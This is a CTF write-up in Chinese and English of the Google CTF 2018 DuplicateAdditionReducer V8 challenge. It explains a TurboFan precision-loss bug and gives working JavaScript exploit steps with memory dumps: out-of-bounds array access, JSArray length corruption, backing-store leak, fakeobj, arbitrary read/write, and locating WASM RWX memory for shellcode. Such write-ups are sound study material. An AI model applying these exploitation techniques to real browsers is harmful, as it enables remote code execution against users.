Google CTF 2018 DuplicateAdditionReducer

Google CTF 2018 DuplicateAdditionReducer

题目链接

  • DuplicateAdditionReducer

The DuplicateAdditionReducer written by Stephen Röttger for Google CTF 2018 is a nice TurboFan challenge that adds a new reducer optimizing cases like x + 1 + 1.

Patch分析

​ 相关代码如下:

Reduction DuplicateAdditionReducer::Reduce(Node* node) {
  switch (node->opcode()) {
    case IrOpcode::kNumberAdd:
      return ReduceAddition(node);
    default:
      return NoChange();
  }
} 

Reduction DuplicateAdditionReducer::ReduceAddition(Node* node) {
  DCHECK_EQ(node->op()->ControlInputCount(), 0);
  DCHECK_EQ(node->op()->EffectInputCount(), 0);
  DCHECK_EQ(node->op()->ValueInputCount(), 2);

  Node* left = NodeProperties::GetValueInput(node, 0);
  if (left->opcode() != node->opcode()) {
    return NoChange(); // [1]
  }

  Node* right = NodeProperties::GetValueInput(node, 1);
  if (right->opcode() != IrOpcode::kNumberConstant) {
    return NoChange(); // [2]
  }

  Node* parent_left = NodeProperties::GetValueInput(left, 0);
  Node* parent_right = NodeProperties::GetValueInput(left, 1);
  if (parent_right->opcode() != IrOpcode::kNumberConstant) {
    return NoChange(); // [3]
  }

  double const1 = OpParameter(right->op());
  double const2 = OpParameter(parent_right->op());

  Node* new_const = graph()->NewNode(common()->NumberConstant(const1+const2));

  NodeProperties::ReplaceValueInput(node, parent_left, 0);
  NodeProperties::ReplaceValueInput(node, new_const, 1);
  return Changed(node); // [4]
}

​ 这意味着在减少NumberAdd节点时,我们有4个不同的代码路径(请阅读代码注释)。其中只有一个会导致节点更改。让我们画一个表示所有这些情况的模式。红色的节点表示它们不满足条件,导致返回NoChange。

Google CTF 2018 DuplicateAdditionReducer_第1张图片
image
  • case4表示的也就是 x+a+b , a和b都是Number常量的情况

优化后,会把左边的 a 和 b 相加,相加后的结果替换原有 NumberAdd 右边的NumberConstant,

Google CTF 2018 DuplicateAdditionReducer_第2张图片
image

漏洞成因

IEEE-754 doubles 精度损失

​ V8 represents numbers using IEEE-754doubles. That means it can encode integers using 52 bits. Therefore the maximum value is pow(2,53)-1which is 9007199254740991.

​ Number above this value can't all be represented. As such, there will be precision loss when computing with values greater than that.

Google CTF 2018 DuplicateAdditionReducer_第3张图片
wikipedia

POC:

d8> var x = Number.MAX_SAFE_INTEGER + 1
undefined
d8> x
9007199254740992
d8> x + 1
9007199254740992
d8> 9007199254740993 == 9007199254740992
true
d8> x + 2
9007199254740994
d8> x + 3
9007199254740996
d8> x + 4 
9007199254740996
d8> x + 5
9007199254740996
d8> x + 6
9007199254740998

简单了解下IEEE 754的double精度表示:

​ Let's try to better understand this. 64 bits IEEE 754 doubles are represented using a 1-bit sign, 11-bit exponent and a 52-bit mantissa. When using the normalized form (exponent is non null), to compute the value, simply follow the following formula.

value = (-1)^sign * 2^(e) * fraction
e = 2^(exponent - bias)
bias = 1024 (for 64 bits doubles)
fraction = bit52*2^-0 + bit51*2^-1 + .... bit0*2^52

​ So let's go through a few computation ourselves.

d8> %DumpObjects(Number.MAX_SAFE_INTEGER, 10)
----- [ HEAP_NUMBER_TYPE : 0x10 ] -----
0x00000b8fffc0ddd0    0x00001f5c50100559    MAP_TYPE    
0x00000b8fffc0ddd8    0x433fffffffffffff    

d8> %DumpObjects(Number.MAX_SAFE_INTEGER + 1, 10)
----- [ HEAP_NUMBER_TYPE : 0x10 ] -----
0x00000b8fffc0aec0    0x00001f5c50100559    MAP_TYPE    
0x00000b8fffc0aec8    0x4340000000000000    

d8> %DumpObjects(Number.MAX_SAFE_INTEGER + 2, 10)
----- [ HEAP_NUMBER_TYPE : 0x10 ] -----
0x00000b8fffc0de88    0x00001f5c50100559    MAP_TYPE    
0x00000b8fffc0de90    0x4340000000000001  
Google CTF 2018 DuplicateAdditionReducer_第4张图片
exponent_mantissa
Google CTF 2018 DuplicateAdditionReducer_第5张图片
exponent_e
Google CTF 2018 DuplicateAdditionReducer_第6张图片
mantissa_fraction
Google CTF 2018 DuplicateAdditionReducer_第7张图片
sage_computations

You can try the computations using links 1, 2and 3.

​ As you see, the precision loss is inherent to the way IEEE-754 computations are made. Even though we incremented the binary value, the corresponding real number was not incremented accordingly. It is impossibleto represent the value 9007199254740993using IEEE-754 doubles. That's why it is not possible to increment 9007199254740992. You can however add 2 to 9007199254740992because the result can be represented!

​ That means that x += 1; x += 1;may not be equivalent to x += 2. And that might be an interesting behaviour to exploit.

d8> var x = Number.MAX_SAFE_INTEGER + 1
9007199254740992
d8> x + 1 + 1
9007199254740992
d8> x + 2
9007199254740994

​ Furthermore, the reducer does not update the type of the changed node. That's why it is going to be 'incorrectly' typed with the old Range(9007199254740992,9007199254740992), from the previous Typerphase, instead of Range(9007199254740994,9007199254740994)(even though the problem is that really, we cannot take for granted that there is no precision loss while computing m+nand therefore x += n; x += n;may not be equivalent to x += (n + n)).

​ There is going to be a mismatch between the addition result 9007199254740994and the range type with maximum value of 9007199254740992. What if we can use this buggy range analysis to get to reduce a CheckBoundsnode during the simplified lowering phase in a way that it would remove it?

​ It is actually possible to trick the CheckBoundssimplified lowering visitor into comparing an incorrect index Rangeto the lengthso that it believes that the index is in bounds when in reality it is not. Thus removing what seemed to be a useless bound check.

​ Let's check this by having yet another look at the sea of nodes!

​ First consider the following code.

let opt_me = (x) => {
  let arr = new Array(1.1,1.2,1.3,1.4);
  arr2 = new Array(42.1,42.0,42.0);
  let y = (x == "foo") ? 4503599627370495 : 4503599627370493;
  let z = 2 + y + y ; // maximum value : 2 + 4503599627370495 * 2 = 9007199254740992
  z = z + 1 + 1; // 9007199254740992 + 1 + 1 = 9007199254740992 + 1 = 9007199254740992
  // replaced by 9007199254740992+2=9007199254740994 because of the incorrect reduction
  z = z - (4503599627370495*2); // max = 2 vs actual max = 4
  return arr[z];
}

opt_me("");
%OptimizeFunctionOnNextCall(opt_me);
let res = opt_me("foo");
print(res);

​ We do get a graph that looks exactly like the problematic drawing we showed before. Instead of getting two NumberAdd(x,1), we get only one with NumberAdd(x,2), which is not equivalent.

​ 大概的意思就是第一次运行的时候,认为 +1+1 之后算出来的 z 是 2,然后优化后把 +1 +1节点替换成+2,认为其仍然是等价的,最后在 simplified lowering 阶段,认为4503599627370495+1+1 和 4503599627370495+2 是等价的,但是实际上并不等价。

​ +1+1的时候算出来的 index range 最大是2,而直接+2的时候算出来的index range最大是4,导致OOB。

Google CTF 2018 DuplicateAdditionReducer_第8张图片
bad_range_for_checkbounds

​ The index type used by CheckBoundsis Range(0,2)(but in reality, its value can be up to 4) whereas the length type is Range(4,4). Therefore, the index looks to be always in bounds, making the CheckBoundsdisappear. In this case, we can load/store 8 or 16 bytes further (length is 4, we read at index 4. You could also have an array of length 3 and read at index 3 or 4.).

Actually, if we execute the script, we get some OOB access and leak memory!

$ d8 trigger.js --allow-natives-syntax
3.0046854007112e-310

漏洞利用

完善攻击原语

  • 首先要确保可以通过上述bug获得较大的结果

比如说通过使用 x + 007199254740989 + 9007199254740966 可以获得更大oob范围

d8> sum = 007199254740989 + 9007199254740966
x + 9014398509481956
d8> a = x + sum
18021597764222948
d8> b = x + 007199254740989 + 9007199254740966
18021597764222944
d8> a - b
4

简单推广一下,x+4n:

d8> var sum = 007199254740989 + 9007199254740966 + 007199254740989 + 9007199254740966
undefined
d8> var x = Number.MAX_SAFE_INTEGER + 1
undefined
d8> x + sum
27035996273704904
d8> x + 007199254740989 + 9007199254740966 + 007199254740989 + 9007199254740966
27035996273704896
d8> 27035996273704904 - 27035996273704896
8

可以获得8,那么结合其他运算符,可以获得:

d8> var x = Number.MAX_SAFE_INTEGER + 1
undefined
d8> 10 * (x + 1 + 1)
90071992547409920
d8> 10 * (x + 2) 
90071992547409940

That gives us a delta of 20 because precision_loss * 10 = 20and the precision loss is of 2.

step-0

  • 确认我们想要泄漏和覆写的地址

For that, I simply use my custom%DumpObjectsv8 runtime function. Also, I use an ArrayBufferwith two views: one Float64Arrayand one BigUint64Arrayto easily convert between 64 bits floats and 64 bits integers.

let ab = new ArrayBuffer(8);  // Float64Array 和 BigUint64Array 均指向这块ArrayBuffer
let fv = new Float64Array(ab);   // 用于类型转换
let dv = new BigUint64Array(ab);  //  用于类型转换

let f2i = (f) => {
  fv[0] = f;
  return dv[0];    // 返回 biguint 类型
}

let hexprintablei = (i) => {
  return (i).toString(16).padStart(16,"0");   
}

let debug = (x,z, leak) => {
  print("oob index is " + z);
  print("length is " + x.length);
  print("leaked 0x" + hexprintablei(f2i(leak)));
  %DumpObjects(x,13); // 23 & 3 to dump the jsarray's elements
  // 这个工具是作者自己实现的,表示将x dump13行 https://github.com/JeremyFetiveau/debugging-tools/tree/master/v8_doare-helpers
};

let opt_me = (x) => {
  let arr = new Array(1.1,1.2,1.3);
  arr2 = new Array(42.1,42.0,42.0);
  let y = (x == "foo") ? 4503599627370495 : 4503599627370493;
  let z = 2 + y + y ; // 2 + 4503599627370495 * 2 = 9007199254740992
  z = z + 1 + 1;
  z = z - (4503599627370495*2); 
  let leak = arr[z];
  if (x == "foo")
    debug(arr,z, leak);
  return leak;
}

opt_me("");
%OptimizeFunctionOnNextCall(opt_me);
let res = opt_me("foo");

会输出如下结果:

oob index is 4
length is 3
leaked 0x0000000300000000
----- [ FIXED_DOUBLE_ARRAY_TYPE : 0x28 ] -----
0x00002e5fddf8b6a8    0x00002af7fe681451    MAP_TYPE    
0x00002e5fddf8b6b0    0x0000000300000000    
0x00002e5fddf8b6b8    0x3ff199999999999a    arr[0]
0x00002e5fddf8b6c0    0x3ff3333333333333    arr[1]
0x00002e5fddf8b6c8    0x3ff4cccccccccccd    arr[2]
----- [ FIXED_DOUBLE_ARRAY_TYPE : 0x28 ] -----
0x00002e5fddf8b6d0    0x00002af7fe681451    MAP_TYPE // also arr[3]
0x00002e5fddf8b6d8    0x0000000300000000    arr[4] with OOB index!
0x00002e5fddf8b6e0    0x40450ccccccccccd    arr2[0] == 42.1
0x00002e5fddf8b6e8    0x4045000000000000    arr2[1] == 42.0
0x00002e5fddf8b6f0    0x4045000000000000    
----- [ JS_ARRAY_TYPE : 0x20 ] -----
0x00002e5fddf8b6f8    0x0000290fb3502cf1    MAP_TYPE    arr2 JSArray
0x00002e5fddf8b700    0x00002af7fe680c19    FIXED_ARRAY_TYPE [as]   
0x00002e5fddf8b708    0x00002e5fddf8b6d1    FIXED_DOUBLE_ARRAY_TYPE   


​ Obviously, both FixedDoubleArrayof arrand arr2are contiguous. At arr[3]we've got arr2's map and at arr[4]we've got arr2's elements length (encoded as an Smi, which is 32 bits even on 64 bit platforms). Please note that we changed a little bit the trigger code :

< let arr = new Array(1.1,1.2,1.3,1.4);
---
> let arr = new Array(1.1,1.2,1.3);

​ Otherwise we would read/write the mapinstead, as demonstrates the following dump :

oob index is 4
length is 4
leaked 0x0000057520401451
----- [ FIXED_DOUBLE_ARRAY_TYPE : 0x30 ] -----
0x0000108bcf50b6c0    0x0000057520401451    MAP_TYPE    
0x0000108bcf50b6c8    0x0000000400000000    
0x0000108bcf50b6d0    0x3ff199999999999a    arr[0] == 1.1
0x0000108bcf50b6d8    0x3ff3333333333333    arr[1]
0x0000108bcf50b6e0    0x3ff4cccccccccccd    arr[2]
0x0000108bcf50b6e8    0x3ff6666666666666    arr[3] == 1.3
----- [ FIXED_DOUBLE_ARRAY_TYPE : 0x28 ] -----
0x0000108bcf50b6f0    0x0000057520401451    MAP_TYPE    arr[4] with OOB index!
0x0000108bcf50b6f8    0x0000000300000000    
0x0000108bcf50b700    0x40450ccccccccccd    
0x0000108bcf50b708    0x4045000000000000    
0x0000108bcf50b710    0x4045000000000000    
----- [ JS_ARRAY_TYPE : 0x20 ] -----
0x0000108bcf50b718    0x00001dd08d482cf1    MAP_TYPE    
0x0000108bcf50b720    0x0000057520400c19    FIXED_ARRAY_TYPE   

​ 根据调试的结果,此时我们就可以控制到arr[4]指向的另外一个数组的map

Step-1

  • Corrupting a JSArray and leaking an ArrayBuffer's backing store

有了地址泄漏,我们可以尝试去Corrupt 一个 JSArray然后泄漏出 ArrayBuffer 的 backing store地址

​ The problem with step 0 is that we merely overwrite the FixedDoubleArray's length ... which is pretty useless because it is not the field actually controlling the JSArray’s length the way we expect it, it just gives information about the memory allocated for the fixed array. Actually, the only lengthwe want to corrupt is the one from the JSArray.

​ Indeed, the length of the JSArrayis not necessarily the same as the length of the underlying FixedArray(or FixedDoubleArray). Let's quickly check that.

d8> let a = new Array(0);
undefined
d8> a.push(1);
1
d8> %DebugPrint(a)
DebugPrint: 0xd893a90aed1: [JSArray]
 - map: 0x18bbbe002ca1  [FastProperties]
 - prototype: 0x1cf26798fdb1 
 - elements: 0x0d893a90d1c9  [HOLEY_SMI_ELEMENTS]
 - length: 1
 - properties: 0x367210500c19  {
    #length: 0x0091daa801a1  (const accessor descriptor)
 }
 - elements: 0x0d893a90d1c9  {
           0: 1
        1-16: 0x3672105005a9 
 }

在这种情况下,尽管 JSArray 的长度是,但是其 FixedArray 的长度实际上是 17。如果你想要一个OOB R/W原语,那就是你想要覆盖的JSArray的长度。此外,如果要对这样的数组进行越界访问,可能需要检查FixedArray的大小是否太大。

​ If you look at the memory dump, you may think that having the allocated JSArraybeforethe FixedDoubleArraymightbe convenient, right? Right now the layout is:

FIXED_DOUBLE_ARRAY_TYPE
FIXED_DOUBLE_ARRAY_TYPE
JS_ARRAY_TYPE

让我们简单地改变分配第二个数组的方式。

23c23
<   arr2 = new Array(42.1,42.0,42.0);
---
>   arr2 = Array.of(42.1,42.0,42.0);

现在我们有了下面的布局

FIXED_DOUBLE_ARRAY_TYPE
JS_ARRAY_TYPE
FIXED_DOUBLE_ARRAY_TYPE
oob index is 4
length is 3
leaked 0x000009d6e6600c19
----- [ FIXED_DOUBLE_ARRAY_TYPE : 0x28 ] -----
0x000032adcd10b6b8    0x000009d6e6601451    MAP_TYPE    
0x000032adcd10b6c0    0x0000000300000000    
0x000032adcd10b6c8    0x3ff199999999999a    arr[0]
0x000032adcd10b6d0    0x3ff3333333333333    arr[1]
0x000032adcd10b6d8    0x3ff4cccccccccccd    arr[2]
----- [ JS_ARRAY_TYPE : 0x20 ] -----
0x000032adcd10b6e0    0x000009b41ff82d41    MAP_TYPE map arr[3]  
0x000032adcd10b6e8    0x000009d6e6600c19    FIXED_ARRAY_TYPE properties arr[4]    
0x000032adcd10b6f0    0x000032adcd10b729    FIXED_DOUBLE_ARRAY_TYPE elements    
0x000032adcd10b6f8    0x0000000300000000 

Cool, now we are able to access the JSArrayinstead of the FixedDoubleArray. However, we're accessing its propertiesfield.

Thanks to the precision loss when transforming +1+1into +2we get a difference of 2between the computations. If we get a difference of 4, we'll be at the right offset. Transforming +1+1+1into +3will give us this!

d8> x + 1 + 1 + 1
9007199254740992
d8> x + 3
9007199254740996

26c26
<   z = z + 1 + 1;
---
>   z = z + 1 + 1 + 1;

Now we are able to read/write the JSArray's length.

oob index is 6
length is 3
leaked 0x0000000300000000
----- [ FIXED_DOUBLE_ARRAY_TYPE : 0x28 ] -----
0x000004144950b6e0    0x00001b7451b01451    MAP_TYPE    
0x000004144950b6e8    0x0000000300000000    
0x000004144950b6f0    0x3ff199999999999a    // arr[0]
0x000004144950b6f8    0x3ff3333333333333  
0x000004144950b700    0x3ff4cccccccccccd    
----- [ JS_ARRAY_TYPE : 0x20 ] -----
0x000004144950b708    0x0000285651602d41    MAP_TYPE    
0x000004144950b710    0x00001b7451b00c19    FIXED_ARRAY_TYPE    
0x000004144950b718    0x000004144950b751    FIXED_DOUBLE_ARRAY_TYPE    
0x000004144950b720    0x0000000300000000    // arr[6]

现在,要泄漏“ArrayBuffer”的数据非常容易。只需在第二个JSArray之后分配它。

  let arr = new Array(MAGIC,MAGIC,MAGIC);
  arr2 = Array.of(1.2); // 确保JSArray被分配在第二个fixed arrays之前
  ab = new ArrayBuffer(AB_LENGTH);

这样,我们得到如下内存布局:

----- [ FIXED_DOUBLE_ARRAY_TYPE : 0x28 ] -----
0x00003a4d7608bb48    0x000023fe25c01451    MAP_TYPE    
0x00003a4d7608bb50    0x0000000300000000    
0x00003a4d7608bb58    0x3ff199999999999a    arr[0]
0x00003a4d7608bb60    0x3ff199999999999a    
0x00003a4d7608bb68    0x3ff199999999999a    
----- [ JS_ARRAY_TYPE : 0x20 ] -----
0x00003a4d7608bb70    0x000034dc44482d41    MAP_TYPE    
0x00003a4d7608bb78    0x000023fe25c00c19    FIXED_ARRAY_TYPE    
0x00003a4d7608bb80    0x00003a4d7608bba9    FIXED_DOUBLE_ARRAY_TYPE    
0x00003a4d7608bb88    0x0000006400000000    
----- [ FIXED_ARRAY_TYPE : 0x18 ] -----
0x00003a4d7608bb90    0x000023fe25c007a9    MAP_TYPE    
0x00003a4d7608bb98    0x0000000100000000    
0x00003a4d7608bba0    0x000023fe25c005a9    ODDBALL_TYPE    
----- [ FIXED_DOUBLE_ARRAY_TYPE : 0x18 ] -----
0x00003a4d7608bba8    0x000023fe25c01451    MAP_TYPE    
0x00003a4d7608bbb0    0x0000000100000000    
0x00003a4d7608bbb8    0x3ff3333333333333    arr2[0]
----- [ JS_ARRAY_BUFFER_TYPE : 0x40 ] -----
0x00003a4d7608bbc0    0x000034dc444821b1    MAP_TYPE    
0x00003a4d7608bbc8    0x000023fe25c00c19    FIXED_ARRAY_TYPE    
0x00003a4d7608bbd0    0x000023fe25c00c19    FIXED_ARRAY_TYPE    
0x00003a4d7608bbd8    0x0000000000000100    
0x00003a4d7608bbe0    0x0000556b8fdaea00    ab's backing_store pointer!
0x00003a4d7608bbe8    0x0000000000000002    
0x00003a4d7608bbf0    0x0000000000000000    
0x00003a4d7608bbf8    0x0000000000000000   

我们可以简单地使用损坏的“JSArray”(“arr2”)读取“ArrayBuffer”(“ab”)。这在以后会很有用,因为' backing_store '指向的内存完全由我们控制,因为我们可以通过data view (如' Uint32Array ')将任意数据放入其中。

Step-2

创建一个伪造的对象:

PACKED_ELEMENTS数组可以包含指向JavaScript对象的tag指针。对于不熟悉v8的人来说,v8中的JsArray元素提供了关于它正在存储的元素类型的信息。Read this if you want to know more about elements kind.

Google CTF 2018 DuplicateAdditionReducer_第9张图片
elements_kind
d8> var objects = new Array(new Object())
d8> %DebugPrint(objects)
DebugPrint: 0xd79e750aee9: [JSArray]
 - elements: 0x0d79e750af19  {
           0: 0x0d79e750aeb1 
 }
0x19c550d82d91: [Map]
 - elements kind: PACKED_ELEMENTS
 
 

​ Therefore if you can corrupt the content of an array of PACKED_ELEMENTS, you can put in a pointer to a crafted object. This is basically the idea behind the fakeobj primitive. The idea is to simply put the address backing_store+1in this array (the original pointer is not tagged, v8 expect pointers to JavaScript objects to be tagged). Let's first simply write the value 0x4141414141in the controlled memory.

​ Indeed, we know that the very first field of any object is a a pointer to a map(long story short, the map is the object that describes the type of the object. Other engines call it a Shapeor a Structure. If you want to know more, just read the previous post on SpiderMonkeyor this blog post).

​ Therefore, if v8 indeed considers our pointer as an object pointer, when trying to use it, we should expect a crash when dereferencing the map.

​ Achieving this is as easy as allocating an array with an object pointer, looking for the index to the object pointer, and replacing it by the (tagged) pointer to the previously leaked backing_store.

  let arr = new Array(MAGIC,MAGIC,MAGIC);
  arr2 = Array.of(1.2); // allows to put the JSArray *before* the fixed arrays
  evil_ab = new ArrayBuffer(AB_LENGTH);
  packed_elements_array = Array.of(MARK1SMI,Math,MARK2SMI);

the memory layout.

----- [ FIXED_DOUBLE_ARRAY_TYPE : 0x28 ] -----   arr
0x0000220f2ec82410    0x0000353622a01451    MAP_TYPE    
0x0000220f2ec82418    0x0000000300000000    
0x0000220f2ec82420    0x3ff199999999999a    
0x0000220f2ec82428    0x3ff199999999999a    
0x0000220f2ec82430    0x3ff199999999999a    
----- [ JS_ARRAY_TYPE : 0x20 ] -----
0x0000220f2ec82438    0x0000261a44682d41    MAP_TYPE    
0x0000220f2ec82440    0x0000353622a00c19    FIXED_ARRAY_TYPE    
0x0000220f2ec82448    0x0000220f2ec82471    FIXED_DOUBLE_ARRAY_TYPE    
0x0000220f2ec82450    0x0000006400000000    //  1. length被修改为64 
----- [ FIXED_ARRAY_TYPE : 0x18 ] -----      
0x0000220f2ec82458    0x0000353622a007a9    MAP_TYPE    
0x0000220f2ec82460    0x0000000100000000    
0x0000220f2ec82468    0x0000353622a005a9    ODDBALL_TYPE    
----- [ FIXED_DOUBLE_ARRAY_TYPE : 0x18 ] -----     // arr2
0x0000220f2ec82470    0x0000353622a01451    MAP_TYPE    
0x0000220f2ec82478    0x0000000100000000    
0x0000220f2ec82480    0x3ff3333333333333    
----- [ JS_ARRAY_BUFFER_TYPE : 0x40 ] -----     // 4. 使用dataview copy evil_ab
0x0000220f2ec82488    0x0000261a446821b1    MAP_TYPE   
0x0000220f2ec82490    0x0000353622a00c19    FIXED重写RRAY_TYPE    
0x0000220f2ec82498    0x0000353622a00c19    FIXED_ARRAY_TYPE    
0x0000220f2ec824a0    0x0000000000000100       //  2. 寻找array_buffer的length
0x0000220f2ec824a8    0x00005599e4b21f40       // 3. 找到backing store  
0x0000220f2ec824b0    0x0000000000000002    
0x0000220f2ec824b8    0x0000000000000000    
0x0000220f2ec824c0    0x0000000000000000    
----- [ JS_ARRAY_TYPE : 0x20 ] -----            
0x0000220f2ec824c8    0x0000261a44682de1    MAP_TYPE    
0x0000220f2ec824d0    0x0000353622a00c19    FIXED_ARRAY_TYPE    
0x0000220f2ec824d8    0x0000220f2ec824e9    FIXED_ARRAY_TYPE    
0x0000220f2ec824e0    0x0000000300000000    
----- [ FIXED_ARRAY_TYPE : 0x28 ] -----        // packed_elements_array
0x0000220f2ec824e8    0x0000353622a007a9    MAP_TYPE    
0x0000220f2ec824f0    0x0000000300000000    
0x0000220f2ec824f8    0x0000001300000000    // 5.找到 MARK 1 for memory scanning
0x0000220f2ec82500    0x00002f3befd86b81    JS_OBJECT_TYPE    // 7. 使用backing store覆写
0x0000220f2ec82508    0x0000003700000000    // 6.找到 MARK 2 for memory scanning
                                                                            // get_pwnd wasm代码
 
  // 7.此时view[4],也就是修改过的 backing store区域的第五位置 存储是指向自身的地址
  // 执行 view[4] = f2i(ftagged_wasm_func_ptr)-1n; 此时fake的JS_ARRAY_BUFFER_TYPE的bs位置就
  // 指向了wasm_func_ptr的位置
  
  // 采用同样的操作不断修改bs,最终找到jump_table_start的地址 -.- 看了半天,,,
  // 8.最后把shellcode写回去,然后调用那个WASM函数,即是执行shellcode

Good, the FixedArraywith the pointer to the Mathobject is located right after the ArrayBuffer. Observe that we put markers so as to scan memory instead of hardcoding offsets (which would be bad if we were to have a different memory layout for whatever reason).

After locating the (oob) index to the object pointer, simply overwrite it and use it.

let view = new BigUint64Array(evil_ab);
view[0] = 0x414141414141n; // initialize the fake object with this value as a map pointer
// ...
arr2[index_to_object_pointer] = tagFloat(fbackingstore_ptr);
// 使用fbackingstore_ptr替换packed_elements_array中原本只想math的指针
packed_elements_array[1].x; // crash on 0x414141414141 because it is used as a map pointer

Step 3

Arbitrary read/write primitive

​ Going from step 2 to step 3 is fairly easy. We just need our ArrayBufferto contain data that look like an actual object. More specifically, we would like to craft an ArrayBufferwith a controlled backing_storepointer. You can also directly corrupt the existing ArrayBufferto make it point to arbitrary memory. Your call!

​ Don't forget to choose a length that is big enough for the data you plan to write (most likely, your shellcode).

    let view = new BigUint64Array(evil_ab);
    for (let i = 0; i < ARRAYBUFFER_SIZE / PTR_SIZE; ++i) {
      view[i] = f2i(arr2[ab_len_idx-3+i]); // 修改arraybuffer的map
      if (view[i] > 0x10000 && !(view[i] & 1n))
        view[i] = 0x42424242n; // 修改backing_store为0x42424242n
    }
    // [...]
    arr2[magic_mark_idx+1] = tagFloat(fbackingstore_ptr); // object pointer
    // [...]
    let rw_view = new Uint32Array(packed_elements_array[1]);
    rw_view[0] = 0x1337; // *0x42424242 = 0x1337

You should get a crash like this.

$ d8 rw.js 
[+] corrupted JSArray's length
[+] Found backingstore pointer : 0000555c593d9890
Received signal 11 SEGV_MAPERR 000042424242
==== C stack trace ===============================
 [0x555c577b81a4]
 [0x7ffa0331a390]
 [0x555c5711b4ae]
 [0x555c5728c967]
 [0x555c572dc50f]
 [0x555c572dbea5]
 [0x555c572dbc55]
 [0x555c57431254]
 [0x555c572102fc]
 [0x555c57215f66]
 [0x555c576fadeb]

Step-4

Overwriting WASM RWX memory

​ Now that's we've got an arbitrary read/write primitive, we simply want to overwrite RWX memory, put a shellcode in it and call it. We'd rather not do any kind of ROPor JIT code reuse(0vercl0kdid this for SpiderMonkey).

​ V8 used to have the JIT'ed code of its JSFunctionlocated in RWX memory. But this is not the case anymore. However, as Andrea Biondoshowed on his blog, WASM is still using RWX memory. All you have to do is to instantiate a WASM module and from one of its function, simply find the WASM instance object that contains a pointer to the RWX memory in its field JumpTableStart.

​ Plan of action:

  1. Read the JSFunction's shared function info

  2. Get the WASM exported function from the shared function info

  3. Get the WASM instance from the exported function

  4. Read the JumpTableStart field from the WASM instance

​ As I mentioned above, I use a modified v8 engine for which I implemented a %DumpObjectsfeature that prints an annotated memory dump. It allows to very easily understand how to get from a WASM JS function to the JumpTableStartpointer. I put some code here(Use it at your own risks as it might crash sometimes). Also, depending on your current checkout, the code may not be compatible and you will probably need to tweak it.

%DumpObjectswill pinpoint the pointer like this:

----- [ WASM_INSTANCE_TYPE : 0x118 : REFERENCES RWX MEMORY] -----
[...]
0x00002fac7911ec20    0x0000087e7c50a000    JumpTableStart [RWX]

So let's just find the RWX memory from a WASM function.

sample_wasm.jscan be found here.

d8> load("sample_wasm.js")
d8> %DumpObjects(global_test,10)
----- [ JS_FUNCTION_TYPE : 0x38 ] -----
0x00002fac7911ed10    0x00001024ebc84191    MAP_TYPE    
0x00002fac7911ed18    0x00000cdfc0080c19    FIXED_ARRAY_TYPE    
0x00002fac7911ed20    0x00000cdfc0080c19    FIXED_ARRAY_TYPE    
0x00002fac7911ed28    0x00002fac7911ecd9    SHARED_FUNCTION_INFO_TYPE   //  ----
0x00002fac7911ed30    0x00002fac79101741    NATIVE_CONTEXT_TYPE    
0x00002fac7911ed38    0x00000d1caca00691    FEEDBACK_CELL_TYPE    
0x00002fac7911ed40    0x00002dc28a002001    CODE_TYPE    
----- [ TRANSITION_ARRAY_TYPE : 0x30 ] -----
0x00002fac7911ed48    0x00000cdfc0080b69    MAP_TYPE    
0x00002fac7911ed50    0x0000000400000000    
0x00002fac7911ed58    0x0000000000000000    
function 1() { [native code] }
d8> %DumpObjects(0x00002fac7911ecd9,11)
----- [ SHARED_FUNCTION_INFO_TYPE : 0x38 ] -----
0x00002fac7911ecd8    0x00000cdfc0080989    MAP_TYPE    
0x00002fac7911ece0    0x00002fac7911ecb1    WASM_EXPORTED_FUNCTION_DATA_TYPE   // ---- 
0x00002fac7911ece8    0x00000cdfc00842c1    ONE_BYTE_INTERNALIZED_STRING_TYPE    
0x00002fac7911ecf0    0x00000cdfc0082ad1    FEEDBACK_METADATA_TYPE    
0x00002fac7911ecf8    0x00000cdfc00804c9    ODDBALL_TYPE    
0x00002fac7911ed00    0x000000000000004f    
0x00002fac7911ed08    0x000000000000ff00    
----- [ JS_FUNCTION_TYPE : 0x38 ] -----
0x00002fac7911ed10    0x00001024ebc84191    MAP_TYPE    
0x00002fac7911ed18    0x00000cdfc0080c19    FIXED_ARRAY_TYPE    
0x00002fac7911ed20    0x00000cdfc0080c19    FIXED_ARRAY_TYPE    
0x00002fac7911ed28    0x00002fac7911ecd9    SHARED_FUNCTION_INFO_TYPE    // ----
52417812098265
d8> %DumpObjects(0x00002fac7911ecb1,11)
----- [ WASM_EXPORTED_FUNCTION_DATA_TYPE : 0x28 ] -----
0x00002fac7911ecb0    0x00000cdfc00857a9    MAP_TYPE    
0x00002fac7911ecb8    0x00002dc28a002001    CODE_TYPE    
0x00002fac7911ecc0    0x00002fac7911eb29    WASM_INSTANCE_TYPE    // ----
0x00002fac7911ecc8    0x0000000000000000    
0x00002fac7911ecd0    0x0000000100000000    
----- [ SHARED_FUNCTION_INFO_TYPE : 0x38 ] -----
0x00002fac7911ecd8    0x00000cdfc0080989    MAP_TYPE    
0x00002fac7911ece0    0x00002fac7911ecb1    WASM_EXPORTED_FUNCTION_DATA_TYPE   // ---- 
0x00002fac7911ece8    0x00000cdfc00842c1    ONE_BYTE_INTERNALIZED_STRING_TYPE    
0x00002fac7911ecf0    0x00000cdfc0082ad1    FEEDBACK_METADATA_TYPE    
0x00002fac7911ecf8    0x00000cdfc00804c9    ODDBALL_TYPE    
0x00002fac7911ed00    0x000000000000004f    
52417812098225
d8> %DumpObjects(0x00002fac7911eb29,41)
----- [ WASM_INSTANCE_TYPE : 0x118 : REFERENCES RWX MEMORY] -----
0x00002fac7911eb28    0x00001024ebc89411    MAP_TYPE    
0x00002fac7911eb30    0x00000cdfc0080c19    FIXED_ARRAY_TYPE    
0x00002fac7911eb38    0x00000cdfc0080c19    FIXED_ARRAY_TYPE    
0x00002fac7911eb40    0x00002073d820bac1    WASM_MODULE_TYPE    
0x00002fac7911eb48    0x00002073d820bcf1    JS_OBJECT_TYPE    
0x00002fac7911eb50    0x00002fac79101741    NATIVE_CONTEXT_TYPE    
0x00002fac7911eb58    0x00002fac7911ec59    WASM_MEMORY_TYPE    
0x00002fac7911eb60    0x00000cdfc00804c9    ODDBALL_TYPE    
0x00002fac7911eb68    0x00000cdfc00804c9    ODDBALL_TYPE    
0x00002fac7911eb70    0x00000cdfc00804c9    ODDBALL_TYPE    
0x00002fac7911eb78    0x00000cdfc00804c9    ODDBALL_TYPE    
0x00002fac7911eb80    0x00000cdfc00804c9    ODDBALL_TYPE    
0x00002fac7911eb88    0x00002073d820bc79    FIXED_ARRAY_TYPE    
0x00002fac7911eb90    0x00000cdfc00804c9    ODDBALL_TYPE    
